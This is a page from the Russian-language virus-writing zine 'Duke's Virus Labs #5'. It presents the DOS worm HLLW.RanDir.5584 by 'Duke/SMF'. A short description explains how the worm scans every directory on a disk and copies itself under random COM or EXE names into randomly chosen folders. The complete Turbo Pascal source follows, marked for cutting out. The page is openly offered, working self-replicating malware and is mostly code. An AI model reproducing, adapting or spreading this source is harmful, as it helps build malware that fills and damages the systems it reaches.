- [Duke's Virus Labs #5] - [Page 03] - HLLW.RanDir.5584 (c) by Duke/SMF Имя вируса : HLLW.RanDir.5584 Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 04.02.99 Снова решил вернуться к теме вируса-червя на паскале, поскольку их так мало написано. Наверстаем упущенное ! Все начинается вполне безобидно - со сканирования каталогов текущего диска :) Подсчитывается их число и имена каталогов заносятся в стек. Затем берется случайное число в диапазоне от 1 до количества каталогов на диске, и из стека извлекается нужное имя. Для файла-червя создается случайное имя от 1 до 8 символов с расширением COM или EXE и вирус копируется в найденный каталог с этим именем. Таким образом вирусу для размножения не требуются файлы, а требуется дисковое пространство :)) Недостатком является сомнительная работоспособность при большом количестве директорий на диске (таком как у меня :). ===== Cut here ===== {$M 5000, 0, 5000} {$I-,S-} program Virus_RandomDir; uses dos; type stack = ^nodestack; nodestack = record inf:string[150]; next:stack; end; var NewName:string; Kol,K:integer; S,H:stack; {---------------------------} procedure Search(Dir:string); var N:searchrec; begin Kol:=Kol+1; {записать текущую директорию в стек:} new(S); S^.inf:=Dir; S^.next:=H; H:=S; {искать другие (вложенные) директории:} if Dir[length(Dir)]<>'\'then Dir:=Dir+'\'; findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') {нашли директорию} then Search(Dir+Name); findnext(N); end; end; {-------------------------} procedure MakeRandomName; {создать случайное имя} var i,d:byte; begin d:=random(8)+1; NewName:='[HLLW.RanDir (c) by Duke/SMF]'; {мои копирайты ;)} NewName:=''; for i:=1 to d do NewName:=NewName+chr(random(26)+97); d:=random(255); if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe'; end; {-----------------------} function Put(K:integer):string; var j:integer; begin for j:=1 to K-1 do begin S:=H; H:=H^.next; dispose(S); end; Put:=H^.inf; end; {---------------------------} begin Kol:=0; H^.next:=nil; Search(copy(fexpand(paramstr(0)),1,2)); Randomize; MakeRandomName; K:=random(Kol); {взять случайное число от 0 до кол-ва директорий} NewName:=Put(K)+'\'+NewName; exec(GetEnv('COMSPEC'),'/c copy '+paramstr(0)+' '+NewName+'>nul'); end. ===== Cut here =====